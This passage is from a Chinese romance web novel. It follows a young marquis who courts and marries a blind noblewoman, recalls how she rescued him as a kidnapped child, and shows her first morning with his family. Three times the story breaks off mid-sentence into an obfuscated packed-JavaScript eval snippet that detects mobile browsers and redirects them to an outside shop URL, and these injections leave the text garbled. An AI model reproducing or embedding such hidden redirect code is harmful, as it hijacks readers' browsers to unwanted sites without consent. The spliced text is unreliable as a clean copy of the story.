可得意了没几天,他才发现,按照大周的风俗,男女定亲后直至婚前,两人都没法再见面,人瞬间就蔫了。 这让他怎么跟素素培养感情? 他也想过托人送信,可素素的眼看不见,那岂不是说,他写的什么丢人话不都要被不相干的人看去了? 卫琅决不允许这种事发生。 辗转反侧了大半个月,他才下定决心翻墙亲自来找人。 他虽然偶尔行事放诞,可翻墙潜入女眷后院却也是头一遭。等找到程素所住的院子后,也不敢轻举妄动,只能大气也不敢喘地蹲在角落里听蟋蟀声。 原本他也没打算今晚就能跟程素搭上话,只是试着丢了几颗石子,想看看里面的人是否睡熟了,没想到就听到屋里的说话声,吓得险些没翻墙逃跑。 如今看来,好在他沉住气了。 更好的是,素素冰雪聪明,一下子就猜到了是他,还特意出来跟他说话。 想到这里,卫琅这才后知后觉地想起程素眼盲的事,想到她刚刚还不知是怎么自己一个人摸黑来到窗边的,不由得脱口而出:“你的眼……” 程素道:“会好的。” 卫琅啊了一声,一时竟然不知道怎么接话。 程素主动解释:“这事说起来还要多谢侯爷,老夫人曾请过侯府的大夫为我诊治。当时那位老先生曾说,我的眼盲未伤及根本,只是中间耽搁了几年,延误了病情,再加上伤在要害之处,以他的医术,没有十足的把握。前些日子侯爷请了宫里的太医又来替我看过,太医们也说能治,只需等回头他们商量出个法子,便可以着手诊治了。” 一听之前他请的太医竟然真的有用,卫琅高兴起来:“那真是再好不过了!” 他的声音有些大,一出口便觉得不妥,程素也紧张起来,好在屋里的小檀睡得踏实,并未被吵醒。 两人又互等了好一会儿,可谁也没再开口,还是程素主动问道:“侯爷此番前来,可还有别的事?” 卫琅清了清嗓子,不自然道:“我、我来只是想问问,你愿不愿意嫁我。” 原本他开口前还有些紧张和不好意思,可问出来后才忽然觉得周身一轻,连日以来心头莫名的躁动平复下来。 他低头用脚尖碾弄着地上一颗石子,有点没话找话道:“嫁娶可是人生大事,以后的日子长着呢,总要你情我愿才是。我是想说……就算没有那圣旨,你也愿意嫁给我吧?反正……我肯定会待你好的,肯定比之前那个姓韩的狗东西要好。” 他低头说着说着,不知不觉自己的耳朵也隐隐发热,不料窗前伫立的人却沉吟了一会儿,忽然问道:“侯爷可还是想问我跟那韩元清从前的事?” 8. 第八章 程素很早之前就知道,世上有许多不公之事,比如父亲上书谏言,明明是秉直为民,她们一家却被流放; 又比如当年那桩婚约,明明是韩家悔婚在先,更受影响的反而是她。 世人不知个中缘由,只听说女子被退婚,总不免要猜想对方身上是否有某些隐疾,又或者是性情古怪。 就算这两者她都没有,她跟韩元清却自幼认识、两家一度走动频繁,说不定又有人要疑心她早已与对方暗通款曲,又或者至今旧情难忘。 这些事早晚是要说明白的。 她深吸一口气,还没来得及开口,就听卫琅快速却又含糊道:“不,你不用说,那些我都知道……” 他这样说,程素也不意外。她既要嫁去侯府,卫家人肯定也打听过。只是他不问的又是这个,又想问什么呢? 总不能真是来问问她愿不愿意的吧? 她这才后知后觉,方才这位小侯爷说的话听起来有些像在表白心迹。 程素有些不知所措。 且不说圣旨一下,他们的意愿早已无关轻重,算上今晚,她一共“见”过卫琅三回。倘若他当真如丫鬟们所说,对她一见钟情,她却至今连对方什么模样还不清楚,又何来愿意与否一说。 只是要实话实说,实在辜负卫家待她的恩情;可若为了敷衍对方,说了违心的话,同样是有失诚心,等事后对方冷静下来一回想,也能猜出她在说谎。 她一时竟想不出,这位小侯爷希望从她这里得到什么样的答复。 二人无话,一时竟然僵在那里。 正值夏夜,月清风朗,院子靠墙根种了一架蔷薇,香气随风细细传来。 两人不约而同地抬头,感受着微风混杂着花香迎面拂来的凉意。 最终,还是程素定了定心神道:“夜色已深,侯爷还是尽早回去吧。婚事虽为长辈之命,非你我二人能做主,但也请侯爷信我,定不会辜负老夫人和陛下的心意。若还有什么疑虑,可白日来找我。” 卫琅的声音低落下来,难得老老实实道:“我以后再也不会做这样的事了。” 他这样好说话,反倒让程素不好再说什么。那天卫琅挖苦韩元清的声音犹在耳畔,她虽看不见,却也能想象少年人的跋扈张扬,可今晚在她面前,对方却明显收敛了爪牙,什么话小心地顺着她的意思,反而让她有些不知如何是好。 对面的卫琅顿了顿,又道:“……至于你说再来找你的事,还是算了。听说成婚之前见面不好,我不会再来了。” 程素忍不住嗔道:“既然知道,今晚你还要来。” 还是以这样的方式。 卫琅理直气壮:“我刚才可没有看你,我一直闭着眼呢。” 她想象了一下这个场景,终于没忍住笑了:“我也闭着眼呢。” 反正她也看不见,也算闭着眼吧。 温柔的应和声像在哄小孩子,可卫琅的心脏还是不争气地乱跳起来,终究还是没能忍住近在咫尺的诱惑,眼悄悄眯起一条细缝,去偷偷看那伫立在窗前的人。 只见那素来沉静的人眉眼弯弯,笑意柔和,满怀懊恼忽地化作一汪春水。 他赶紧又闭眼,心里软得一塌糊涂。 程素催他:“好了,侯爷您该走了。” 卫琅满脑子空白,只干干地应了声。 他觉得自己好像已经心满意足了,一时也想不起什么别的话,是时候该离开了。于是转头就走,却忘了自己还闭着眼,脚下险些没绊一跤。 程素听到了动静,忙出声提醒他:“侯爷小心。” 卫琅干巴巴道:“你也是。” 旁边的屋子却忽然传来白芷打着哈欠的声音:“什么人?” 卫琅身影一动,迅速没入黑暗中消失不见;程素同样飞快关上窗子,回到床上褪衣躺下,还凝神细听外面的动静。 没过一会儿,外面传来推门的动静。 白芷披衣出来看了。 脚步声来至窗下,外头的人轻声喊:“小檀?” 屋内静悄悄的没有回答。 白芷小心进门,见角落里的小檀睡得正酣,只觉哭笑不得。再走到床边,撩开幔帐,见程素同样睡得安稳,便伸手替她掖了掖被角后出去了。 待她走后,被子中的人睁开眼,终于小小地松了口气。 …… 那夜过后,卫琅当真再没翻墙而来。 只是他的礼物仍然隔三差五地送来,有时是知味斋的点心攒盒,有时是据说宫里赐下的文房四宝等等,有时是街头捏的一套泥人儿等零零碎碎的小玩意儿。 每天猜测着卫小侯爷下次会送些什么来,竟也成为一种乐趣,让程素等待出嫁的日子变得没那么难捱。 自从备嫁开始,云氏便什么事都不让她插手,只让她安心等着,无聊了就打发小檀给她念念书听。 小檀是幼年被转卖到京城来的,早年在程家时还学过几个字。 一别五年,小檀的识字水平只退不进。她又回到程家后,程素让她念书解闷,小丫头这才磕磕绊绊地从头学起。 小檀声音清脆地念:“九十日春光如过隙,怕春归又早春归。” 诗文里的春光转瞬即逝,三个月很快过去了。 转眼间,就到了大婚当日。 程素一早起来梳妆,云氏和白芷为她梳开乌发,口中念着吉祥话。 待妆成服毕,她便在人的牵引下,拜别母亲,踏上花轿,悠悠荡荡地去往她日后生活的地方。一路上锣鼓喧天,嬉闹嘈杂,震得她头晕目眩。 等再回过神来,她人已经坐在了雕花拔步床上。 身旁的丫鬟们捧来点心,小声道:“咱们老夫人和侯爷说了,您也累了一日了,还是先吃点垫垫肚子。” 程素微微颔首。 等卫琅终于从前院脱身回来,推门看到的便是拔步床上端坐的程素。 她纤颈微垂,双手交叠放在膝上,姿态优美而娴静。 在喜婆的指引下,他替她挑开大红的巾帕,露出光洁的额头,眉心的花钿,以及灼若芙蕖的面容。 卫琅甚至不敢再看几眼,便躲开目光,连手都不知道往哪放了。 程素不清楚,可屋子的丫鬟嬷嬷们看了不免掩嘴笑,被卫琅狠狠瞪了过去。不过今日是大喜的日子,可没人惯着卫小侯爷的毛病,众人仍笑盈盈地看热闹。 待二人喝完了合卺酒,卫琅更是不知道该干点什么了,他见屋里的喜婆丫鬟俱在盯着他们,只好目视前方,清了清嗓子:“先替她解了头发洗洗脸。” 丫鬟们替程素一一拆去头上繁复的发髻和头面。这些金灿灿的首饰璎珞戴了一天,纵然再好看也累得慌。 卫琅刚刚不好意思盯着程素瞧,这会儿反而盯着着她的背影发呆。 只见丫鬟拆下一根用来固定发髻的嵌红宝金钗,程素的长发便顺着肩头彻底滑落,乌莹光泽,让他不知不觉看直了眼。 直至程素将脸上的脂粉也都洗去,用帕子擦干净了脸,才转过身来。她乌发披散,面容皎洁如月,虽素着张脸,可眉目流转间,却胜过了满室烛辉彩绣。 丫鬟们还在可惜:“夫人今日的妆可好看呢,这就洗了去。” 卫琅虚咳一声,其实他觉得这样…… 就已经让人不敢看了。 待众人退下后,屋内便只有他们两人并肩在床上坐着。 洞房之夜该做点什么? 卫家这方面管得严,卫小侯爷名义上是个纨绔,却也算得上洁身自好。 奈何他身边还有一堆狐朋狗友,再加上他不久前刚出去随军半年,军营里的粗人浑话多,他什么荤的素的没被迫听过,也并非一窍不通的木头。 但那些人可不会告诉他,洞房之夜该跟他未来的媳妇说点什么。 他整个人憋了半天,只来得及说了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999094|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字:“你……” 程素轻轻打断了他:“侯爷莫非打算日后也这样称呼我?” 卫琅这才后知后觉地发现,他好像还没有当面正经地称呼过程素。 婚前当面称素素太亲昵,怕显得轻佻;可他又不能连名带姓地叫她,又未免太生分。不过现在,他们已经成婚了,自然再无顾忌。 程素还在委婉地给出建议:“我单名一个素字,若是侯爷觉得不便称呼,长辈为我取的字为怀霜……” 不等她说完,卫琅果断道:“以后我就喊你素素。” 有了称呼,二人之间的距离也被拉近,有一搭没一搭地闲聊起来。 卫琅先问她累不累,最近在忙什么,程素一一答了,又转而问他。 卫小侯爷这些日子自然忙得很,当然,也不是在忙五城兵马司的事。他走马上任之后,除了让底下的人轮番去青槐巷口守着外,一日也没去应过卯。 要问他也理直气壮,他可是马上就要娶亲的人,不忙着准备婚事,难不成还要去巡大街吗。这个理由足够充分,就算隆兴帝也不好说什么。 百忙之中,卫小侯爷还不忘抽空给韩元清添点堵。 某个月黑风高的夜晚,他伙同一群狐朋狗友,把跟同僚喝酒回来的韩元清给套了麻袋。朝廷最近整顿风气,严禁官员们夜里去些不三不四的地方饮酒作乐,故而对方也不敢上告,只能吃个哑巴亏。 当然,这些就无需告诉程素了。 一边说着话,卫琅开始蠢蠢欲动,仗着程素不会发觉,悄悄做得更近了些。 程素虽看不见,却还不至于对身边人的举动一无所知。 靠得这样近,两个人甚至都能闻见彼此身上的气息。好在卫琅入门前已沐浴过,身上没有难闻的酒气,甚至还特意熏了青竹香,清爽怡人。 她叠放在膝上的手悄悄握紧。她并不反感卫琅,何况两人都已成亲了,只是靠近而已,并不算太出格。 在程素无声的纵容下,卫琅又坐得近了一点。 其实这会儿他们已经没什么话好说了,毕竟两个人还不算熟悉,还是坐在洞房里,说什么都是徒增尴尬。卫小侯爷只好没话找话,又讲起他这半年外出的事。 那是他第一次带兵出去,起初隆兴帝也没打算他能立什么功,只是让他挂了个名,军中自有拿主意的人在,不过卫琅哪里是肯容人安排的性子。 他命人去当地摸清情况后,便迫不及待地拿盗匪开刀。起初也是阻力重重,待到后来连胜几次,军中上下对他无不信服,他才彻底掌握了手底下的人。 等讲到他如何用火攻烧掉某处的匪寨后,卫琅终于感觉到有点口干了。 他正准备起身去给自己倒杯茶,却听门外传来嬷嬷的咳嗽声:“侯爷,已经三更天了。明日一早夫人还要给老夫人敬茶,您二位还是早点歇息吧。” 这一声把卫琅吓得险些跳了起来。 等反应过来,他怒气冲冲地推门冲着院子大喊:“都没规矩了,谁允许你们半夜三更的在这里偷听。” 那来提醒的嬷嬷不紧不慢道:“侯爷说笑了,秋日夜寒,谁也不能蹲在窗下听您闲话到三更天。只是看屋里还亮着灯,特意来提醒您一声罢了。” 卫琅被气得够呛,只能气呼呼地出来盯着人走了,再绕着院子巡视一圈,把附近的丫鬟婆子们统统赶走。 等确认周围都没人了,才折回屋内。 程素仍安静地坐在床边等他。 卫琅不无心虚地解释:“人我都已经赶跑了,没人再来打扰我们。不过这天色确实晚了,你困不困……” 他说到一半险些咬住舌头,只觉这话的暗示性未免太强,赶紧改口:“你若是不困,我接着给你讲我剿匪的事儿。” 听他大有把讲故事将至天明的架势,程素决定还是她来。她膝上交叠的双手微微握紧,镇定自若道:“侯爷,夜色已深,我们还是早些歇下吧。” 9. 第九章 秋夜寂静,窗下的蟋蟀仍在兀自鸣叫着,屋内的大红喜烛静静燃烧着。 卫琅终于不说话了。 他的耳根发烫,眼神开始发飘。 素素这是什么意思呢。 如果她没有别的意思,应该就是他想的那个意思吧。 他深吸一口气,憋了半天,却只憋出了一句:“你放心吧,我不会胡来的。” 程素一怔,听他又含糊道:“若是日后你愿意了……我们再圆房。” 这下换作程素怔了。 她……没有情愿不情愿一说。 世间男女婚事少有自主,许多夫妻洞房之夜是头回见面的都是常有。忽然有个人肯这样委曲求全,不免让人疑惑。 程素长睫微垂,脸上的神情让人看不出在想什么。 心上人就近在咫尺,若说卫琅没有动心起念是不可能的。 只是他想过了,他与素素见面不过才两三回,圆房之夜怎么也不当在今晚,至少要等素素与他情投意合了再说。 他正要解释,就听程素忽然慢慢道:“这些日子,侯爷待程家的心意,家中上下无人不知。丫鬟有不懂事的,曾与我玩笑,说是侯爷那日在亭中是对我一见倾心,才会欣然同意这桩婚事。但我观侯爷为人,却不像见色忘身之辈……” 卫琅:“……” 呃,他要是说他就是呢。 程素又道:“……所以我一直在想,我此前是否与侯爷见过?” 一时之间,满室寂静。 过了好半天,卫琅终于找回了自己的声音。他顿了顿道:“是,我们的确见过,只是你都不记得了。” 所以他也就没再提。 程素露出了然的表情,她只是猜测,却没想到果真如此。 只是她常居闺中,后来又去了岭南,就算是这几年在外走动,却也不常见外人,实在想不起来,到底是什么时候与卫琅有过交集。以他这样鲜明的个性,只要见过一次,她应当就不会忘。 还是卫琅提醒道:“我七岁那年,有一次被人拐走关了好几天。直至上元节那日,我趁拐子们不备跑出来。可没跑多久就被人发现了,他们一路追赶,我慌不择路……便撞到了你的身上。” 他喉咙干涩,一开始说得并不顺畅,但慢慢说着就平静下来。 这事已经过去十多年了,可随着他的讲述,埋藏在脑海里的记忆也逐渐清晰。幼时的上元夜、奔跑和急促的呼吸、长街上的花灯重影,无数记忆纷沓而来。 程素沉思了好一会儿,终于从记忆深处找到了零星片段。 那应该是元和二十三年的事了。 当时的她也不过只有十一岁,那年的上元夜,她去街上看花灯,有个小孩子仿佛被人追赶,匆忙间撞在了她身上。 只是,她印象里那好像是个走失的女童?谁能想到那竟然是卫琅。 她迟疑着接道:“我记得等那伙人走了,我便让……韩元清送你去报官。” 当时二人青梅竹马,因少小便有婚约在,两家长辈并不拘着他们。像上元夜那样举城欢庆的日子,她出去看灯,长辈都会让韩元清作陪,再带上几个护卫。 卫琅嘴角的笑意收敛,面无表情道:“但是我咬了他一口,然后跑掉了。” 程素失笑。 她还记得,在他逃走后,韩元清捂着手腕跟她抱怨,以后不要随便救街头来路不明的小孩子了,人家未必领情。 虽然那人后来变成了那样,不过那时的情形似乎也不能怪韩元清,任谁好心帮忙,反而被咬一口都不会高兴。 程素认真地问:“所以侯爷在湖心亭见面那次,便一眼就认出了我。因为我曾经对侯爷有恩,您便应下了这桩婚事。” 卫琅故作轻松道:“……对啊。婚姻大事向来是长辈的意思,娶谁不都一样,何况你还是我的恩人。” 程素终于松了口气。 若是这样,就再好不过了。 无端的好意太过沉重,让人难以招架,还不如一开始就是各取所需。 二人又是久久无话。 卫琅见她低头不语,忍不住问:“你怎么不说话了?你在想什么。” 程素微微侧头,确认了他所在的方向后,冲他笑了笑:“我在想,侯爷当年长得什么样子,却怎么也想不起来了。” 当年她只是无心一瞥,已经过去十多年了,就算记不得也是正常。 卫琅只见她眼神虽然明澈,目光却还是有些涣散,甚至越过他望向了另一个方向,有点说不出的难受。 他心里忽然生出了一种莫名的冲动,抓起程素的一只手,放在自己脸侧,认真道:“等太医们治好了你的眼睛,你就知道我长什么样子了。” 程素愣住了。 卫琅等了几秒,也不见她有反应,这才恍然大悟,讪讪地松开了程素的手。 他这下坐不住了,准备出去喊丫鬟送床被子进来。既然决定了今夜暂时不圆房,他当然不会做出再冒犯程素的事,还故作大方道:“你先歇下吧,我让丫鬟们给我拿床被子,今晚在地上睡便是。” 程素摇头:“新婚之夜,侯爷若是着了凉,便是我的不是了。” 卫琅想了一想也不推拒,毕竟程素都不介意了,哪家的傻子谁会放着软乎乎的被窝不去睡,还要睡在地上。 他脱去外袍,吹灭烛火在床外侧躺下,仰面望向帐顶。屋内静了下来,只余两人此起彼伏的呼吸声。 许是累了一天了,程素的呼吸很快变得匀称绵长,应是已睡熟了。 她人就近在他的枕畔,卫琅甚至能嗅到她鬓发间有淡淡的木樨香气。 不过卫小侯爷却没有什么旖旎心思,反而有点说不清道不明的郁闷。 其实…… 他不是很想提起那桩陈年旧事。 若非程素问起,他宁可一直瞒下去。然而她已经问了,他也没法对她隐瞒。 他一时嘴硬,拿曾经的恩情作答,实在不像是给这桩婚事开了个好头。无数念头汹涌纷乱,直搅得卫琅心烦意乱。 他又不敢翻身,怕惊醒了一旁的程素,只能直挺挺躺着。 直到天将破晓前,卫琅才睡了过去。 就一会儿的功夫,他做了一个梦。 …… 卫琅七岁那年曾被人贩子拐过。 不过,他跟那些被人一块米糕、一根糖葫芦就能骗走的无知幼童不同,他算是误打误撞、自投罗网的。 作为定远侯府的嫡长孙,他生来尊贵,虽然三四岁上就没了双亲,可祖父和父亲叔叔们生前在军中的声望已到了顶点,足以让他京城里都横着走。 再加上祖母老夫人有意无意的纵容,更让他打小养成了任性妄为的脾气。 严寒冬日里,小卫琅骑着一匹小马,偷偷溜出府。 年节前后的侯府最无趣了,家里人丁太少,堂弟堂妹年龄还小,每逢过年过节,他的纨绔朋友们此时正被家里带着四处走亲访友,侯府里却冷清至极。 老夫人年事已高,她虽素日要强,从不在人前显露半分老态,可每逢佳节,她就难免想起昔年老侯爷和儿子们欢聚一堂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999095|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情景,不由黯然伤神,故而闭门谢客,故交应酬一律推辞。 卫琅虽然天生聪慧,却缺了那一根纤细的筋,他当时还不太能理解祖母的哀思,只觉得府里的气氛闷得慌。 他溜出门骑着小马溜溜达达,漫无目的地在街上乱转。 也不知走到了什么地方,离家的小侯爷一抬眼,就看到远处墙根下有人捂了幼童的口鼻,把人抱在怀里闷头就走。 卫琅想了想便把小马扔在路边,一个人悄悄跟了上去。没想到刚跟过一处拐角,就被人拎着后衣领两脚悬空,转头就见到来人咧着一口大黄牙:“呦,哪来的小尾巴,居然还有肥羊自动上门的。” 再刁钻的小孩子,也是懂得识时务的。小卫琅闭上了嘴,没有大哭,也没有大叫,仿佛吓傻了似的。 其实他并不害怕,因为他知道,自己一个人跑出来,侯府的护卫必然要四处寻的。往常他出走没过一会儿,就会把他捉回去,到祖母跟前领罚。他要走丢了,只怕京城都要被找翻了天。 这群拐子还不知道自己随手捡了一个烫手山芋,随手把小卫琅跟其他被拐来的孩子关在城南的一处破屋。 那屋子废弃已久,四面漏风,夜里便发出呜呜的声响,和身边孩童的哭声混在一起,吵得小卫琅头疼。 哭什么哭,有什么好哭的。 难不成大哭一场,家里人就能循着哭声找来了? 小侯爷一门心思想找机会偷跑出去。 然而他很快就发现,事情并没有他想的那样容易。 这一伙拐子大约有十几号人,男女皆有,南来北往,做惯了坑蒙拐骗的勾当。他们日夜轮流把守,稍有风吹草动都警觉得很。别提从他们眼皮子底下救出其他人了,就连他自己都找不到出逃的机会。 小卫琅蜷在角落里,左等右等,等到天黑又天亮,还是没等来府里找他的人。 天不怕地不怕的卫小侯爷终于有点后悔了。好在他天性刚强,不是坐以待毙的性子,最终还是被他寻着了机会,在两日后的上元夜偷跑出去。 留守的拐子很快追了上来。 小卫琅在昏暗的巷子中拼命狂奔,身后的拐子们穷追不舍,若是被他们再捉住,想也知道不会有什么好果子吃。 他的运气不算差,很快跑到了大街上。 那晚是上元夜,整个京城的人都上街看花灯。长街上花灯如昼,游人如织,卫琅仗着身形瘦小钻来钻去,借着人潮得以阻拦追兵一时半刻。可身后的拐子如狼似虎,紧追不放,他却渐渐力竭。 快跑,快跑回府里去。 万一被抓到就完了。 小侯爷虽长于富贵,却也本能地知道,这是他唯一一次出逃的机会。 他平生头一次尝到恐惧的滋味,哪怕胸腔的心脏狂跳不已,呼吸火辣辣地生疼,眼前的一切都变得模糊,花灯幢幢,人影摇动,分辨不清方向,他还是凭着本能不管不顾地向前横冲直撞,耳畔到处是被冲撞的游人惊呼、斥骂声。 也是他昏了头,竟一脑袋撞在迎面而来的一伙人身上,一下把几个仆人簇拥着的少女撞得一个踉跄。 虽饿了两日,可卫琅闷头冲过来的劲儿却不小,对方脸色发白,显然是疼得不轻,蹙眉俯身紧捂着手臂,而他自己也向前摔了个狗啃泥。 对方身边的护卫一把将还头昏脑涨的卫琅拎起来正要责骂,却被对方急忙劝住:“魏叔,那只是一个小孩子。” 卫琅的脚终于落在了地上,身子还没站稳,就被一只纤细的手扶住:“你叫什么名字,为什么跑得这样急?” 10. 第十章 日光穿透窗棂,洒在帐子上。 卫琅刚翻了个身,就听到耳畔有个模模糊糊的声音叫他:“侯爷,该起了。” 他向来不耐烦有人打扰他睡觉,眉头一皱刚要发作,对方又道:“……您一会儿还要陪夫人去给老夫人敬茶呢。” 卫琅猛地惊醒,往身旁一摸,才发现身旁的床铺已经空了。 再一抬眼,他发现程素不知何时已经坐在窗下梳妆,乌发垂垂如云,衬得她脸白如玉,有种温和慵懒的意味。听到声音,她侧首莞尔一笑:“侯爷醒了。” 卫琅的心一下子安定下来。 他换好衣服,接过丫鬟们递来的巾帕胡乱抹了把脸,就坐在一旁,眼巴巴地看着丫鬟们服侍程素梳发描眉。 今日是新婚后第一天,程素不再作闺中时的打扮,而是将鬓发绾在脑后,鬓边簪着嵌红宝金钗,矜贵沉静而娴雅。 她目不能视,又换了新地方,走路要人扶引,这个活儿往常是小檀来做的。 小丫鬟熟门熟路地拉起她的手刚要走,却听身后卫琅咳嗽了一声,不由得愣愣地回头,对上了冲她直瞪眼的新姑爷。 还是身旁的白芷反应快,一把拉过小檀的手,退步站在身后一步。 卫琅对她的识趣很满意,牵起了程素的手,感受着掌心的温度。她的手纤细微凉,比他想象中得还要柔软几分。 直至这一刻,他才切切实实地感受到,她已经嫁给他了。 程素只觉指尖一空,紧接着就被另一只修长有力的手紧紧握住,皮肤相贴的瞬间,陌生灼烫的温度也随之传来。 她听身前的人虚咳一声:“走吧。” 程素默默地跟上了。 卫琅还是头一次牵她走路,生怕她脚下有个磕磕碰碰,边走边紧张地盯着她,只差没亲自上手搀着程素。 一群人被他这副如临大敌的态度搞得哭笑不得,最后还是程素委婉地提醒,再磨蹭下去怕老夫人等急了,卫琅才不好意思地挠挠头,加快了速度。 等二人来到老夫人居住的松芝堂,老夫人和弟弟妹妹们早已等着了。 侯府早些年人丁凋零,卫琅的父母早逝、三叔四叔均战死沙场,除了卫琅的二伯如今还在边关驻守,家里只有老夫人和二房堂弟卫珏、三房的妹妹卫若等人。 按照规矩,新妇第一日是要给长辈敬茶的,偏偏程素双目失明。 卫琅早就盘算好了怎么过这一关了,他一进门就带着程素给祖母先磕头,刚一起身,就迫不及待地去抢旁边嬷嬷手里端着的茶托,口中道:“老夫人,孙儿这就给您敬茶了……” 不料老夫人身边的嬷嬷从小看他长大的,一看就知道他在打什么算盘,竟然一闪身躲了过去。 老夫人微微一笑:“今日还用不着你来孝顺,还是让素素来吧。” 卫琅无法,只得眼睁睁看着程素在嬷嬷的指点下,稳稳当当地端起茶盅。 她刚转向老夫人所坐的方向,对方便起身上前自然地接过了茶盅,还扶了一把程素,口中夸道:“好孩子,快起来吧。” 眼看这一敬一接顺利妥当,没有出现差错,卫琅这才松了口气。 这盏茶过后,一家人才说起了话。 卫琅本想给程素介绍二房三房的弟弟妹妹,不料他此前离家半年,程素常来府上作客,两边早已打过照面,真要说起来,甚至比他们之间还要熟络。 他还没开口,三房的堂妹卫若最先眼巴巴看向程素,怯生生地冲着她笑了一下:“……素素姐姐好。” 卫琅还没来得及纳罕,平日里性格最 羞怯的堂妹竟然也会主动跟人打招呼了, 就听身后传来带笑的女声:“若若,可该改口了。你素素姐姐都已经嫁给了阿琅,往后你可是要称呼她大嫂的。” 说话的乃是旁边一个年轻少妇,她看 上去二十七八岁年龄,人生得明艳,打扮 亦富贵,眉眼有种精明妩媚之感。要论辈 分,卫琅他们都要称呼一句四婶。 被她这样一说,卫若脸上顿时流露出 了些许局促不安的神情。 程素虽然看不见,却仿佛能察觉到她 的不安,温声道:“只是一个称呼,若若习惯了,叫什么都没关系。” 对方挑眉笑了笑:“你倒是好脾气,不过既已是一家人了,姐姐什么的叫着生 分,外人听了也要看阿琅的笑话。” 卫琅觉得这话有些说不出来的怪,下意识道:“若若是我妹妹,随她怎么叫,哪个敢闲着没事笑话她。” 老夫人坐在上首,早已不动声色地将一切收入眼底,此时终于开口提醒了一句:“好了,开饭吧。” 丫鬟们拎着食盒鱼贯而入,很快摆了一桌子,众人依次序围桌坐下。 府里人少,卫琅他们自小就习惯了每日陪老夫人一起用饭,一家子跟寻常人家那般坐在一起,也不至于太冷清。 今日饭桌上添了一个程素,卫琅打起了十二万分的精神,他自己还没吃几口,光忙活着问程素的口味,帮她夹菜去了。 光顾了一个还不够,毕竟祖母还在,他少不得夹几筷子以示孝心;除了四婶不好关照外,还要关注一下弟弟妹妹们。 堂妹卫若自小体弱,这些年能吃的东西翻来覆去那几样,卫琅心里都有数; 只有倒霉弟弟卫珏最好打发,他眼睁睁看着他兄长又胡乱夹了片姜给他,什么也不敢说,只能低下头默默扒饭。 一顿早饭在卫琅的上蹿下跳中,吃得仿佛成了他的独角戏。 眼看这顿饭接近了尾声,四夫人薛氏忍不住打趣道:“果然是新婚燕尔,这么多年还是头一次见过阿琅这么体贴人,素素你可当真好福气。” 卫琅大大咧咧道:“素素嫁了我,我自然要待她好。” 程素只是低头微笑。 茶余饭毕,众人还未散去,仍留在荣芝堂陪老夫人闲话,没过一会儿,只见老夫人身边侍候的李嬷嬷捧来一个匣子。 老夫人拿起那匣子,亲自交付到程素手中,郑重道:“这里是府里库房的钥匙以及簿册,你既已嫁入了长房,以后家里家外还有许多事,都要劳你费神了。” 程素温声应下了。 一旁的卫琅看了既喜且忧,他母亲早逝,二叔跟二婶远在边关,祖母年迈,程素嫁进来后,作为长孙媳妇,由她来打理府中庶务,本就顺利成章。 祖母把管家的事交到她手中,也是某种程度也是对她的认可。 然而程素双目失明,尚未治好,就算她想要管事也是有心无力。 卫琅正琢磨着以后如何能帮上程素的忙,又不让她为了眼睛的事伤心,就见老夫人转向旁边的卫若。 她一手拉着卫若,一手拉着程素,将二人的手掌交叠在一起,和蔼道:“若若,你长嫂有眼疾,又是刚来卫家,以后有什么事你要多帮帮她。” 卫若清秀苍白的小脸微微涨红,望了程素一眼,神情郑重地点头。 程素虽看不见,但也低头微笑,在老夫人的目光下,拉起了卫若的手,一老二小间仿佛有一种无形的默契流转。 卫琅:“……” 怎么感觉有点怪怪的。 扭头一看旁边的卫珏,这傻堂弟还浑然不觉地看着她们乐呵。 卫琅心中郁闷,眼角的余光瞥到旁边的四夫人薛氏脸上神色微微有些不自在。 他稍稍一想,便明白了个中缘由。 这也难怪,程素没嫁进来之前,府里的事务都是由这位四婶协助祖母打理的,突然来了个人分权,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999096|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪她不自在。 卫琅虽然平时不管内宅这些事,却也并非一点也不懂这些弯弯绕绕,他正想着以后怎么帮着程素处理好这些关系,又见老夫人招手:“阿瑶,你也来。” 等薛氏依言坐到她身边来后,老夫人同样拉着她的手,将:“素素初来乍到,若若年纪也还小。我已经老了,你作为长辈,以后帮我多看看她们两个。” 薛氏笑吟吟道:“您说的什么话,都是儿媳份内的事。” 听她这样说,老夫人微微颔首。 交待完这些事后,她没有多留众人陪伴,没一会儿就打发他们各自回去了。 程素的院子就在离松芝堂不远的抱筠居,不过转眼的功夫便到了。 卫琅小心翼翼地拉着程素的手,二人还没进院门,只见两道黑影忽然从院子中飞快地冲了出来,不等他把程素护在身后,就冲着他们汪汪大叫起来。 定睛一看,原来是两只黑色的细犬,正是他之前派人送给程素的。 不过短短几个月过去,两只幼犬已经长高了一大截,浑身的皮毛油光水滑,无比亲热地围在程素脚边打转。 